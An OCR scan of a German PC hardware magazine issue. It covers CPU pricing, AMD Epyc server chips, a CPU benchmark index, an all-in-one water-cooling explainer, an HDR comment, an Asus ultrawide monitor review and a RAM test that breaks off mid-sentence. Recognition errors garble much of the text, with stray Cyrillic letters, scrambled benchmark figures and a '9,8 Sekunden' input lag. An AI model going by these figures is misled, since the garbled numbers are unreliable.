Bist du interessiert? Aruba Events GmbH 


Dann freuen wir uns darauf, dich kennen zu Lisa Neubert 
r spa lernen! Bitte sende deine Bewerbung inklusive Marsiliusstraße 36 
ШШ Lebenslauf an: 50937 Köln 
"ei neubert@aruba-events.de 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Das Prozessor-Preiskarussell 


Nicht nur bei Grafikkarten macht sich der Mining- 
Boom bemerkbar, auch manche CPU-Preise stei- 
gen, wàhrend andere gerade fallen. Ein Überblick. 


esonders aufmerksame Leser werden es 

beim Studieren des CPU-Index rechts be- 
merken: Einige CPUs haben einen besseren 
Preis-Leistungs-Index als in der vorigen Aus- 
gabe, obwohl sie fünf oder zehn Euro teurer 
geworden sind. Auf der anderen Seite sind ins- 
besondere AMDs für Spieler interessante Ryzen- 
CPUs seit ihrem Launch teils deutlich im Preis 
gefallen. Ein kleiner Überblick. 


Der Pentium G4560 konnte sich dank seines 
mit ehemals 55 Euro günstigen Preises die Preis- 
Leistungs-Krone sichern und stellte den rech- 
nerischen 100-Prozent-Wert unseres PLV-Index, 
an dem sich alle anderen CPUs messen lassen 
mussten. Der G4560 hat sich - wohl durch den 
Bedarf an günstigen CPUs für Krypto-Mining- 
Maschinen (s. Seite 50) - zu Redaktionsschluss 
zwar „nur“ um zehn auf 65 Euro verteuert, pro- 
zentual sind das jedoch gute 18 Prozent Mehr- 
kosten. Seinen Rang kann er (nach einem kur- 
zen Zwischenspiel des Athlon X4 845, als dieser 


für 40 Euro zu haben war) weiter halten, der Ab- 
stand zum Rest des Feldes hat sich jedoch deut- 
lich verringert, sodass die PLV-Indizes der meis- 
ten anderen CPUs gestiegen sind, da sie sich als 
normierte Werte am Spitzenreiter orientieren. 


Auf AMD-Seite hat sich besonders bei den Ryzen- 
CPUs etwas getan. Speziell das Topmodell R7- 
1800X ist seit dem Marktstart von 550 auf 475 
Euro um circa 14 Prozent gefallen - auch der 
R7-1700 ist mit 310 anstatt 345 Euro deutlich 
günstiger zu haben. Vergleichbar ergeht es den 
Sechs- und Vierkernern, die nun noch attrakti- 
ver geworden sind, zumal sich in Intels Mittel- 
klasse bis 350 Euro preislich nichts Nennens- 
wertes getan hat. Ob die AMD-Preisanpassungen 
mit dem bevorstehenden Threadripper-Launch 
und kolportieren Preisen unter 600 Euro zusam- 
menhängen, wird sich zeigen. 


Einen weiteren Effekt hatte AMDs Ryzen jeden- 
falls noch. Denn auch wenn Intel die Preise für 
seine Broadwell-E-Achtkerner (bisher) nicht 
senkt, sondern die CPUs zugunsten der neuen 
Sockel-2066-Plattform wohl lieber auslaufen 
lässt, gibt es den achtkernigen Core i7-6900K 


AMDs Server-Prozessor ist ,,Epyc" 


So lautet der - geht es nach AMD - bezeichnende 
Name für die Sockel-SP3r2-CPUs, auf denen auch 
die HEDT-Plattform , Threadripper" basiert. 


achdem der Name der zuvor unter dem 
N „Naples“ laufenden  Data- 
Center- und Server-CPUs schon seit einiger Zeit 
bekannt war, hat AMD zur ISC-Messe in Frank- 
furt nun auch Modellbezeichnungen und Preise 
veróffentlicht: Das Einstiegsmodell Epyc 7261 


Codenamen 


AMD EPYC" 7000 


SERIES PROCESSOR 
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mit ,nur* acht - und wie bei allen Epycs - SMT- 
bewehrten Kernen etwa gibt es für günstige 475 
US-Dollar Listenpreis. Dafür ist der Prozessor 
auch gleich für Zwei-Sockel-Systeme (25) freige- 
geben, auf denen er mit einem Kollegen zusam- 


men ein grofses Mafs an I/O-Optionen mit bis 
zu 128 PCI-Express-3.0-Lanes bereitstellen kann 
- etwa für schnelle Flash-Speicher - und dank 
satter acht DDR4-Speicherkanäle pro CPU auch 
riesige Mengen an RAM ansteuern kann. 


www.pcgameshardware.de/ 


mit rund 940 Euro so günstig wie nie. Günstig 
ist hier jedoch relativ, denn verglichen mit Ry- 
zen zahlen Sie immer noch mindestens 98 Pro- 
zent Aufpreis für ein geringes Leistungsplus. 
Jedoch wird die Nachfolgegeneration Skylake-X 
preislich angepasst und startet für den Achtker- 
ner bereits bei circa 600 Euro - für Intel-Ver- 
hältnisse ist das ein Schnäppchen, auch wenn 
SKL-X im Test des 10-Kern-Modells längst nicht 
in allen Belangen überzeugt hat. Es hat wohl 
seinen Grund, warum Intel versucht, mit Sockel- 
2066-kompatiblen Kaby-Lake-X-Quadcores die 
finanzielle Einstiegshürde für diese Plattform zu 
senken, die günstige So2066-CPU kostet immer- 
hin „nur“ rund 250 Euro. (cs) 


Diese von allen anderen Epyc-Prozessoren 
geteilte Stärke gegenüber Intels Xeon-2S-Platt- 
form wird von den weiteren Modellen um teils 
massive Rechenleistung ergänzt. Bis zu 32 Kerne 
bei 2,2 GHz Basistakt und 3,2 GHz Boost liefert 
АМР Ерус 7601 für 2S-Systeme. Der 7551P, wel- 
cher nur allein arbeiten darf, bietet bei identi- 
scher TDP von 180 Watt allerdings 200 MHz we- 
niger Boost- sowie Basis-Takt. Damit steht auch 
der Rahmen für den mit bis zu 16 Kernen aus- 
gestatteten Threadripper fest, den AMD wohl 
Ende Juli bringen wird und der in den gleichen 
Sockel mit 4.094 Kontakten passt - derselbe 
TDP-Rahmen wird hier wohl für höhere Takte 
genutzt werden, sodass 3,0 oder mehr GHz Ba- 
sistakt nicht unwahrscheinlich sind. Preislich 
liegt AMDs höchstgetakteter 16-Kern-Epyc bei 
1.100 US-Dollar. Hier dürfte das Threadripper- 
Topmodell deutlich niedriger ansetzen, ein 
Einstiegs-Zwölfkerner könnte um die 600 Euro 
kosten. (cs) 
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PCGH-Index: Top 40 CPUs 


BESSER $ | Normierte Leistung 


Preis-Leistungsverhältnis B Gesamtindex Im Spieleindex MI Anwendungsindex 


Intel Core i7-6950X 
3,0+ GHz - 10c/20t — So. 2011-3 


10,5 96 - 1.540 € 


Intel Core i7-6900K 
3,24 GHz — 8c/16t — So. 2011-3 


16,1 % — 940 € 


Intel Core i7-5960X 
3,0+ GHz — 8c/16t — So. 2011-3 


12,5 % — 1.090 € 


Intel Core i7-7700K 
4,2+ GHz — AcfBt — So. 1151 


38,5 % – 340€ 


AMD Ryzen 7 1800X 
3,6+ GHz — 8c/16t — So. AM4 


28,1 % -475€ 


Intel Core 17-6800К 
3,4+ GHz — 6c/12t — So. 2011-3 


32,8% — 390 € 


Intel Core i7-5930K 
3,5+ GHz — 6c/12t — So. 2011-3 
20,5%- 610 € 


Intel Core i7-5775C 
3,3+ GHz — 4с/81 - So. 1150 


29,9 % – 400 € 


Intel Core i7-6700K 
4,0+ GHz — 40/81— So. 1151 


37,4 % -325 € 


AMD Ryzen 7 1700X 
3,4+ GHz - 89161 — So. AM4 


36,0 % – 355 € 


Intel Core i7-5820K 
3,3+ GHz — 6c/12t — So. 2011-3 


30,4 % – 400 € 


AMD Ryzen 5 1600X 
3,6+ GHz - 6c/12t — So. AM4 


48,7 % — 245 € 


Intel Core i7-4960X 
3,64 GHz — 6c/12t — So. 2011 


10,7 96 — 1.100 € 


AMD Ryzen 7 1700 
3,04 GHz — 8c/16t — So. AM4 


38,9 % -310 € 


Intel Core i7-3960X 
3,3+ GHz - 6c12t — So. 2011 


11,3 % — 1.000 € 


Intel Core i7-4790K 
4,0+ GHz — AcfBt — So. 1150 
30,9 % — 360 € 


AMD Ryzen 5 1600 
3,2 GHz - 6c/12t — So. AM4 


53,6 % – 210 € 


Intel Xeon E3-1230 v5 
3,44 GHz — AclBt — So. 1151 


39,6 % – 270 € 


Intel Core i7-4770K 
3,5+ GHz - Acl8t - So. 1150 


29,0 % -360 € 


Intel Core i5-7600K 
3,8+ GHz - Ac/4t - So. 1151 


43,3 % – 230 € 


100 % 100 % 
AN6:37  CR3:193 F15:130 5С2:40 FCB:24.097 CB15:1.805 ALR:90 x264:61 
ACS:137 DAI:138 FC4:90 — TW3:135  3DM: 21.430 7z:120 BLD:117 yCr70 


Intel Core i5-5675C 
3,14 GHz - 4044—50. 1150 


38,3 % - 250 € 


94,4% 


96,8 % 90,7% 
AN6:36 CR3:177 F15:124 5С2:38 FCB: 24.761 CB15:1.483 ALR:93 3264: 72 
ACS:136 DAI:136 FC4:89 TW3:135 3DM:19.232 7z:126 BLD:143 yCr: 75 


AMD Ryzen 5 1500X 
3,5+ GHz - Acl8t - So. AM4 


52,9 % – 185 € 


85,6% 


AN6:29  CR3:164 F15:115 
ACS:127 РАІ: 130 FC4:84 


SC 21 
TW3: 124 


Intel Core i7-4820K 
3,7+ GHz - AcfBt — So. 2011 


26,2 % - 360 € 


AN6: 40 
ACS: 131 


CR3:144 Р15: 89 
АІ: 138 РС4: 131 


SC2: 62 
TW3: 126 


Intel Core i5-7500 
3,4+ GHz - 4044—50. 1151 


48,6 % - 190 € 


Intel Core i7-3770K 
3,5+ GHz - 4081—50. 1155 


25,0 % – 370€ 


Intel Core i7-990X 
3,5+ GHz - 6c/12t — So. 1366 


10,0 % — 940 € 


Intel Core i5-6600K 
3,5+ GHz - AcfBt — So. 1151 
38,5 % – 230 € 


AN6:32 САЗ: 150 F15:93 52:33 FCB: 23.143 СВ15: 1.639 ALR: 105 x264: 64 
ACS:110 РАІ: 114 РСА: 77  TW3:110 — 3DM: 19.312 7z:182 BLD: 140 уСг: 109 
816% 

70,2% 

AN6:34  CR3:154 F15:104 5С2:34 FCB: 19.695 CB15:1.114 ALR: 111 x264: 97 

ACS:130 DAI:131 FC4:93  TW3:118 ЗОМ: 15.644 7z:170 BLD: 186 yCr: 108 
80,2% 

67,9% 

AN6:33 САЗ: 154 F15:105 5С2:32 FCB: 19.845 СВ15: 1.086 ALR: 116 х264: 102 

ACS:127 РАІ: 130 FC4:94 TW3:119 ЗОМ: 13.942 72: 165 BLD: 198 yCr: 107 
793 % 

95,6 % 547% 

AN6:40 САЗ:129 F15:95 5С2:47 FCB: 14.590 СВ15: 787 AIR 133 х264: 125 


ACS:127 РА: 139 РСА: 128 ТММ3: 131 


Intel Core 15-7400 
3,04 GHz - Ac/4t — 50.1151 


50,7 % - 170€ 


79,1% 


Intel Core i5-4690K 
3,5+ GHz - 40/41 — So. 1150 


33,3 % - 255 € 


AN6:37  CR3:137 F15:80 5С2:55 FCB: 16.191 CB15:890 ALR:127 x264: 102 

ACS:120 DAI:133 FC4:124 TW3:119 ЗОМ: 13.028 7z:195 BLD:222 yCr:106 
78,8% 

71,3% (80,9 % 

AN6:31  CR3:146 F15:91 5С2:30 FCB:21.955 CB15:1.557 AIR: 111 x264: 68 

ACS:106 DAI 109 FC4:75 — TW3:105 "DM 18246 72: 189 BLD:149 yCr: 113 


AMD Ryzen 5 1400 
3,2+ GHz - Adf8t - So. АМА 


53,5 % - 160 € 


65,5% 
AN6:32 САЗ:149 F15:102 5С2:32 
ACS:122 DAF129 ЕСА:92  TW3:115 


Intel Core i5-6500 
3,2+ GHz - Ac/4t — So. 1151 


42,6 % – 195 € 


AN6:31 — CR3:142 F15:89 5С2:33 
ACS:107 DAE 113 FC4:84 — TW3:104 


Intel Core i5-4670K 
3,4+ GHz - 4044—50. 1150 


32,5 % – 255€ 


82,1% 64,3 % 


AN6:31 СВЗ: 137 F15:102 5С2:25 
ACS:120 РАІ: 122 FC4:84 ТМЗ: 114 


АМО ЕХ-9590 
4,74- GHz – 4m/8t – So. AM3+ 


51,5%-165 € 


Intel Core i7-2600K 
3,4+ GHz - Ac/8t — So. 1155 


28,2 % – 290 € 


AN6:29  CR3:137 F15:89 5С2:27 FCB: 20.633 CB15:1.426 ALR: 117 3264: 73 

ACS:105 РАІ: 104 FC4:70 — TW3:102 — 3DM: 16.798 77:201 BLD:161 yCr: 122 
722% 

79,9 % 60,8 % 

AN6:30  CR3:131 F15:95 5С2:25 FCB:19.757 CB15:955  ALR:129 x264:124 

ACS:118 РАІ: 118 FC4:83 — TW3:112 ЗМ: 13.357 72: 163 BLD:235 vr 215 


Intel Core i3-7350K 
4,2 GHz - 2c/4t 50. 1151 


49,5 % - 160 € 


НИ HE 
AN6:34  CR3:129 F15:71 SC2: 44 
ACS:110 РАІ: 113 ЕС4: 113 ТМЗ: 105 


FCB: 16.360 СВ15: 857 AR 132 x264:122 
3DM: 11.924 72: 197 BLD: 231 yCr: 128 


Intel Core i5-3570K 
3,4+ GHz - 40/41 — So. 1155 
29,4 % — 265 € 


65,1% 


AMD ЕХ-8370 
4,0+ GHz – 4m/8t – So. AM3+ 


48,9 % — 160 € 


AMD FX-8350 
4,0+ GHz — 4m/8t – So. AM3+ 


64,7 % – 120€ 


AN6:30 САЗ: 133 Е15: 87 SC2: 28 FCB: 17.821 CB15:1.149 ALR: 118 x264: 90 
ACS:104 DAI:106 ЕС4:79 — TW3:102 ЗМ: 15.853 72: 236 BLD: 196 yCr: 158 
69,5 % 

79,5 % 54,4% 

AN6:31 CR3:118 F15:75 SC2:39 FCB:14.518 CB15:799 ALR:140 x264:114 
ACS:109 DAI:115 FC4:112 TW3:105 3DM: 11.618 7z: 221 BLD:248 yCr:117 
nra r. 

76,9 % 53,3 % 

АМ6:30 CR3:119 F15:69 SC2: 41 FCB: 15.223 CB15:797 ALR:142 x264:129 


ACS:105 0А:107 FC4:108 TW3:101 — 3DM:11.083 7z:211 BLD:247 yCr: 135 


Intel Core i3-6100 
3,7 GHz — 2c/4t - So. 1151 


62,8 % – 110€ 


AN6:30 САЗ:102 F15:68 5С2:50 
ACS:100 РАІ: 111 РС4:117 TW3:95 


РСВ: 12.716 СВ15: 676 AR 129 x264:126 
3DM: 9.013 72: 256 Вір: 332 yCr: 130 


АМО ЕХ-8300 
3,3+ GHz – 4m/8t – So. AM3-- 


72,596 -95€ 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Ригс 
AA und AF), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 
besser) System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 


IN 
AN6:39  CR3:95 F15:65  SC2:44 FCB: 11.377 СВ15:567 ALR: 140 x264:160 
ACS:99  DAE108 ЕС4:125 TW3:92 3DM:8.339 72: 279 BLD: 387 yCr: 176 
Г Шр 
АМ6:29 CR3:104 FI5:77 On — КОВ:13551 CB15:818 ALR:123 x264:126 
ACS:94 DAIL100 FC4:94 TIW3:93 ЗОМ: 12.185 7z: 283 Вір: 266 yCr:209 
НИ o 
AN6:30 САЗ: 102 F15:78 5С2:25 FCB: 13.903 СВ15: 664 ALR 147 х264: 167 
ACS:105 РАІ: 109 FC4:92 ТМЗ: 100 3рМ: 9.892 72: 227 Вір: 318 yCr: 282 
ЕНИ г: 

m 
АМ6:29 СЕЗ:94 15:65 SC2:44 FCB:11.455 СВ15:610  ALR 142 x264:139 
АСЅ:94 РАІ: 103 ЕС4:112 ТМЗ: 89 ЗОМ: 8.101 72: 275 Вр: 361 yCr:143 
OO O 
455% | 
AN6:29  CR3:102 F15:69  SC2:27 FCB: 13.908 CB15:679 ALR 154 x264:163 
ACS:100 РАІ: 103 ЕС4:92 — TW3:95 3DM: 9.926 72:217 BLD:316 yCr: 292 
EEE 5 
AN6:28 САЗ: 119 F15:64 5С2:17 FCB: 18.987 СВ15: 822 ALR 157 х264: 139 
АС5:95  DAE92 ЕС4:72 ТМ: 82 ЗОМ: 12.349 72: 232 BLD: 243 vr 322 
Г ШШ 
AN6:25 CR3:89 F15:59 SC2:40 FCB: 11.479 СВ15:611 ALR:139 x264: 139 
ACS:89  DAI:97 FC4:106 ТМЗ: 84 ЗОМ: 8.106 72: 281 Вір: 360 yCr: 142 
ЕНИ: 
AN6:26 САЗ: 87 Е15:61 52:38 FCB: 10.594 СВ15: 552 ALR: 152 x264:150 
ACS: 91 ЮА: 97 ЕС4:107 TW3:84 ЗОМ: 7.431 72: 286 Вір: 392 yCr: 154 
e E 
AN6:31 (83:90 15:54 Om — FCB:12.033 CB15:565 ALR:150 x264:163 
ACS:85  DAE85 ЕС4:98 — TW3:80 ЗОМ: 7.482 72:288 BLD: 368 yCr: 168 
I BD 
AN6:26 САЗ:93 F15:70 5С2:23 FCB: 12.155 CB15:705 ALR:148 x264:142 
ACS: 81 ЮА: 89 FC4:81 IW3:82 ЗОМ: 10.875 72: 321 BLD: 303 yCr: 234 
IN 
AN6:25 CR3j:83 F15:57 SC2:35 FCB:10.519 CB15:561 ALR:152 x264:148 
ACS:89 DAI:92  FC4:96 TW3:81 3DM: 7.426 72:293 BLD: 394 yCr: 156 
x Em 
AN6:31  CRX:89 F15:53 — 5C2:33 FCB: 11.739 CB15:551 ALR 153 x264:166 
ACS:84 DAF83  FC4:96 — TW3:80 3DM:7.280 72:300 BLD:382 yCr: 173 
[| DE 
AN6:25  CR3:96 Е15:61 SC2:20 FCB: 15.018 СВ15: 727 ALR:146 x264:138 
ACS: 81 ЮА: 81  FC4:79 — TW3:81 3DM: 8.407 7z: 208 BLD: 415 vr 256 
e, ERE 
40,8 % 
AN6:27 САЗ:92 F15:55 SC2:22 FCB: 13.134 CB15:619 ALR 175 X264: 191 
ACS:85  DAE89 ЕС4:83  TW3:84 3DM:8.971 72:253 BLD:351 yCr:317 
I ume г: 
341% 
AN6:27  CR3:78 F15:57  SC2:48 ЕСВ: 8.724 СВ15: 462 ALR:196 x264:191 
ACS: 81 ЮА: 90 ЕС4:108 ТМЗ: 78 3DM: 7.238 72:332 BLD: 417 yCr: 195 
НИ HERI 
36,4% 
AN6:28 CR3j:80 F15:52 — SC2:26 FCB: 10.891 СВ15: 524 ALR: 159 x264:199 
ACS:82 РА: 86 ЕС4:97  TW3:76 ЗОМ: 6.953 72: 285 BLD: 431 vr: 348 
ЕНИ E 
AN6:23 САЗ: 88 Е15:57 52:14 FCB: 13.123 СВ15: 649 ALR: 157 х264: 154 
ACS:77 РА: 76 ЕС4:75 ТМ3:77 ЗОМ: 7.842 72:219 BLD: 465 yCr: 269 
ар 
АМ6:22 СЕЗ:88 15:57 SC2:14 FCB:13.024 CBIS:641 ALR:158 х264:154 
ACS:76 РА: 76 ЕС4:74 ТМ3:76 ЗОМ: 7.844 72: 220 BLD: 466 yCr: 271 
OO г: 
АМ6:23 САЗ: 70 Е15:50 52:40 ЕСВ: 7.705 СВ15: 405 ALR: 230 x264:216 
ACS: 71 ЮА: 81  FC4:93 ТМЗ: 68 ЗОМ: 6.425 72:384 BLD: 473 yCr: 221 
NENNEN г: 
AN6:21 САЗ:74 F15:54 5С2:12 FCB: 11.035 CB15:530 ALR 177 х264: 183 
ACS: 71 ЮА: 65 РС4:65 ТМЗ: 71 ЗОМ: 6.638 72: 237 BLD: 560 vr 327 
hschnitts-Fps іп 1.280 х 720 (max. Details außer Post-Processing, Ambient Occlusion, 
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Schaubild: Kompaktwasserkühlung 


Wie ist eine Miniatur-Flüssigkeitskühlung aufgebaut? Wir erklären am Beispiel einer Fractal De- 
sign Celsius S36, welche Elemente eigentlich das , All" in „all-in-one water cooling" ausmachen. 


$ | Em 


М CN. T I | ^ €? 14 | 
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Radiator (und Lüfter) 


Auch eine (Kompakt-)Wasserkühlung muss ihre Abwàrme an die Umgebungsluft abführen. Wie unser beim 
OEM-Hersteller Asetek gefertigtes Beispiel beweist, kann sie dafür aber ungleich mehr Fläche nutzen als | [| dom 
konventionelle CPU-Kühler: Ein Kühlkörper für drei 120-mm-Lüfter würde in CPU-Nähe schlicht keinen Platz ДШ 

finden und ist somit пиг als Wasserkühlungsradiator realisierbar. Der Radiator-Grundaufbau ist hierbei für | T am Dr š - 
nahezu alle Kompaktwasserkühlungen identisch: Sehr schmale Flachrohre verlaufen in Lángsrichtung durch ШИН! H 
den gesamten Radiator, dazwischen schlängeln sich Lamellen, um die Oberfläche zu vergrößern. Das Wasser 
strömt jeweils parallel durch alle Rohre einer Radiatorhälfte, die offen in eine Umlenkkammer am hinteren 
Radiatorende münden. Aus dieser kann das Wasser durch die andere Hälfte wieder zurück zur Anschlussseite 
fließen.Hier sitzt eine Abschlusskammer, die breit genug zur Aufnahme der Schlauchanschlüsse ist. Auch 

in diesen Raum münden die Rohre offen, eine Trennwand zwischen Einlass- und Auslassbereich zwingt das 
Wasser aber zu dem langen Weg durch den gesamten Radiator, um vom Ein- zum Auslass zu gelangen. 


weessesass............................................................................................................................................. 


Bodenplatte Pumpe 


Dank der hohen Wärmekapazität des Kühlmediums können Was- : : Aktive Bewegung des Kühlmediums ist der entscheidende Unterschied 
serkühler deutlich kleinere Kühlstrukturen nutzen als Luftkühler-ganz : : zwischen einer (wassergefüllten) Heatpipe- und einer Wasserkühlung. 
ohne geht es aber nicht. Entweder werden feine Kanäle mit Trennschei- : : Sowohl modulare Wasserkühlun- 
ben in einen dicken Kupferboden gefräst. Oder aber man schneidet wie :  : gen (hier gezeigt) als auch Kom- 


bei unserem Astek-Beispiel im Skived-fin-Verfahren Lamellen aus der : i paktwasserkühlungen nutzen 
Oberfläche einer dünneren Platte und richtet diese auf. Letztere Meth- ` i Kreiselpumpen: Das Wasser strömt 
ode erfordert spezialisierte Maschinen, arbeitet aber ohne Materialver- ` ` zentral auf einen Rotor mit mehreren 
lust und ist deswegen bei Kompaktwasserkühlungen weit verbreitet. : : Schaufeln und wird von diesem im 


Kreis herumgeschleudert. Die dabei 
entstehenden radialen Kráfte drücken 
das Wasser in Richtung der am Rand 
liegenden Pumpen-Austrittsöffnung. 
Angetrieben wird der (peramanent-) 
magnetische Rotor durch Elektromag- 
neten außerhalb des wasserführenden 
Pumpenteils. 
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ALTER -0 


Deckel & Ring 


Den oberen Abschluss der kombinierten Pumpen- und 
CPU-Kühlereinheit einer Kompaktwasserkühlung 

bilden meist optische Zierelemente wie Herstellerlogos 

und LED-Beleuchtungen. Bei der von uns als Beispiel 
gewählten Fractal Design Celsius ist die ringförmige, : 
äußere Einfassung zudem drehbar und dient als Um- : 
schalter zwischen externer PWM- und kühlungseigener, — : 
interner Lüfter- und Pumpenansteuerung. 


DTD 


Elektronik (nicht abgebildet) : 
Ein für die Produktdifferenzierung zunehmend wich- : 
tigeres Element fehlt in unserem Schaubild: Zwischen : 
den Design-Elementen am oberen und der Kühlmechanik 
am unteren Ende der Pumpen- und CPU-Kühlereinheit 
findet sich die Steuerungsplatine der Kompaktwasser- 
kühlung. Diese beinhaltet auch den elektrischen Teil des 
Pumpenantriebs, typischerweise sind dessen Elektromag- 
nete direkt mit der Platine verlótet. Typisch für besser 
ausgestattete Kompaktwasserkühlungen ist außerdem 
eine voll autonome oder via USB konfigurierbare 
Lüftersteuerung und natürlich die Ansteuerung etwaiger 
Beleuchtungselemente. Entsprechend schwanken бгбВе 
und Anschlusszahl der Platinen deutlich — bis zu einem : 
halben Dutzend externe Kabel sind móglich. : 


$Peesesesssesessoseescsesescesesesecescceceecececccecsececcceee 


" sana... ...................................................... 


a MM 


Anschlüsse : 


Der mechanische Teil der Pumpen- und CPU-Kühlerein- 
heit besteht größtenteils aus einem einzelnen Formteil. 
Dieses bildet die Pumpenkammer und die Oberseite des 
CPU-Kühlers, hält die Elektromagnete des Pumpen- 
antriebes und stellt die Basis der Schlauchanschlüsse dar. 
Letztere sind entweder seitlich ausgeführt oder führen, 
zugunsten des Flächenverbrauchs, durch alle höheren P 
Ebenen hindurch an die Oberseite der Pumpen- und : 
CPU-Kühlereinheit. Die Verbindung zu den Schlàuchen ist 

bei beinahe allen Kompaktwasserkühlungen permanent — : 
und kann weder durch unglückliche Zufälle noch durch 
den Anwender gelóst werden. Bessere Modelle erlauben 
aber eine Drehung der Schläuche, um deren Platzierung 
zu erleichtern. 


Bild: Asetek 


Explosionszeichnung zeigt Asetek-Technologie 
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Infrastruktur 


Boards, RAM, Eingabegeräte, Festplatten, SSD 


Manuel Christa 
Fachbereich 10-Bit-Panels 
E-Mail: mcGpcgh.de 


Kommentar 


HDR für Monitore lässt auf sich warten. 
In der Zwischenzeit wird der Verbraucher 
verwirrt, indem der HDR-Begriff inflatio- 
när verwässert wird. 


Von einem ,HDR-Kontrastumfang" war erst 
wieder in einer Pressemitteilung zu lesen, die 
zur Computex einen neuen Monitor ankündigte. 
Mit den bereits vorhandenen HDR-Standards 
HDR10 oder Dolby Vision haben derartige Be- 
zeichnungen aber selten etwas zu tun. Denn 
dafür fehlt es den Displays an den technischen 
Voraussetzungen. Der Hersteller will einfach sa- 
gen, dass der Kontrastumfang ein wenig besser 
ist als sonst — mehr auch nicht. Für „НОВ“ an 
sich gibt es keine feste Definition — ein gefun- 
denes Fressen für die Marketing-Abteilungen, 
den Begriff fern der Standards auszuschlachten. 
So haben wir erst einen , HDR"-Monitor getes- 
tet, der es etwa in Spielen erlaubt, die bereits 
vorhandene HDR-Ausgabe zu aktivieren. Doch 
Software und Grafikkarte kónnen leisten, was 
sie wollen, wenn der 8-Bit-Monitor mit seiner 
Helligkeit von bestenfalls 300 cd/m? das bessere 
Bild nicht darzustellen vermag. Kurz gesagt: Für 
den Betrachter ist kein Unterschied festzustellen 
und die angepriesene Pseudo-HDR-Funktion ei- 
niger Monitore de facto nutzlos. HDR bedeutet 
nicht nur ein dunkleres Schwarz und helleres 
Weiß, also höherer Kontrast, sondern auch eine 
viel feinere Abstufung zwischen den Farben. 
Dazu bedarf es mindestens(!) eine Helligkeit 
von 500 cd/m? und eines Panels mit 10 Bit Farb- 
tiefe. Ein Monitor mit nur einer oder gar keiner 
der beiden Eigenschaften verdient es nicht, mit 
„НОК“ betitelt zu werden. Die Verwässerung 
wird wohl erst enden, bis „echte” HDR-Moni- 
tore auf dem Markt sind, also solche mit HDR10, 
Freesync 2 oder G-Sync HDR. Bis es so weit ist, 
darf man sich einfach nicht blenden lassen. Das 
Buzzword muss also in blumigen Hersteller- 
Beschreibungen von Monitoren oder auch Note- 
books stets kritisch hinterfragt werden. 
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Notebooks 


Eingangsvielfalt: Neben einem 
Displayport-Anschluss steht drei- 
mal HDMI 2.0 zur Verfügung. 


www.pcgames 


Der Qi-Wireless-Charger lädt kabellos Smartphones auf 
— falls sie diese Funktion unterstützen. 


Ultrawide-Wollmilchsau? 


Auf den ersten Blick sieht der MX34VQ ziemlich 
gut aus. Beim Blick ins Datenblatt zunächst auch: 
UWQHD-Auflósung, VA-typischer hoher Kontrast, 
100 Hz und Freesync gefallen. Einige Schwáchen 
hat der Ultrawide-Riese dennoch. 


it der Qi-Ladefunktion im Standfuß (sie- 

he oben) ist der Asus-Monitor bislang 
allein auf weiter Flur. Sie ist nicht nur schick, 
sondern auch praktisch. Dafür ist der Ständer 
aber starr, also nicht in der Hóhe verstellbar. Für 
das Design und Lade-Gimmick ist die Flexibili- 
tät ein verschmerzbares Opfer, das ohnehin bei 
vielen Ultrawide-Monitoren fehlt. Optik schón 
und gut, was beim Monitor vielmehr zählt, ist 
die Leistung des Panels. Die Auflósung über 
3.440 x 1.440 Pixel bietet bei einer Bilddiago- 
nale über 34 Zoll eine satte Pixeldichte von 129 
dpi. Auch die 1800R-Krümmung ergibt bei der 
großen Bildfläche Sinn. Mit maximal 100 Hz 
Bildwiederholrate dürfte das Panel auch Gamer 
ansprechen. Per Freesync kann sie ab 48 Hz der 
Framerate angepasst werden. Wenn auch etwas 
im Menü versteckt, sind die Asus-typischen Ga- 
ming-Funktionen vorhanden: ein Framecounter, 
ein Fadenkreuz und ein Timer. Der Input Lag ist 
mit 9,8 Sekunden zudem erfreulich niedrig. 


Jeder Hersteller, nicht nur Asus, nennt bei einem 
VA-Panel einen Kontrast von 3.000:1. Die Reali- 
tät sieht oft anders aus, so auch hier: Wir messen 
maximal 1.884:1, ein noch immer guter Wert, 
besser als die der IPS- oder gar TN-Panels. Die 
Farbtreue des Monitors ist hingegen schwach, 
besonders die Graukeile weichen vom Soll sicht- 
lich ab. Aufšerdem hat der Bildschirm grofse 
Schwächen in der gleichmäßigen Ausleuchtung: 
Wir messen Differenzen von bis zu 15 Prozent. 
Für ambitionierte Bildbearbeitung ist er daher 
weniger geeignet. (mc) 


Fazit: Ultrawide ist Geschmackssache, die hohe Auflósung 
(UWQHD) und die hohe Bildwiederholrate (100 Hz) wissen 
jedoch zu gefallen. Wer nicht unbedingt die beste Bildquali- 
tät erwartet, bekommt hier ein interessantes Modell. 


Hersteller: Asus 

Web: www.asus.de 

Preis: Ca. € 790,- | Preis-Leistung: Befriedigend 
© Edles Design Ausstattung | 1,88 
© Geringer Input Lag Eigenschaften | 2,40 
© Schlechte Farbtreue Leistung 1,63 
PCGH-Preisvergleich www.pcgh.de/preis/1565011 
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Hyper X Fury im Nachtest: Kompakt, günstig und gut? 


Für die Marktübersicht in der vergangenen Aus- 
gabe erreichte uns das Fury-Kit zu spät, deshalb 
liefern wir Ihnen diesen Monat den Test nach. 


ei dem Speicherset mit der Produktnum- 

mer HX424C15FB2K2/16 handelt es sich 
um zwei Riegel mit einer Kapazität von je 8 Gi- 
Byte. Wie bei der Fury-Produktreihe üblich ist 
ein kompakter Kühlkörper verbaut: Die Modul- 
höhe von 3,4 cm liegt nicht einmal 3 Millimeter 
über dem Standard für DDR4-RAM. 


Die Sticks sind für DDR4-2400 bei den Timings 
15-15-15-35 und 1,20 Volt ausgelegt, was im SPD- 
EEPROM zusätzlich als XM- 
Profil hinterlegt ist. Unter 
der Haube stecken die SK- 
Hynix-Chips H5ANSGSN- 
MFR-TFC, eine typische 
Wahl für ein Kit mit diesen 
Eckdaten. Die Bausteine 
sitzen nur auf einer Seite 
der Platine, die Riegel sind also single-sided. Der 
interne Aufbau ist single-ranked. Gegenüber ei- 
nem Dual-Rank-Kit ist die Leistung bei gleichem 


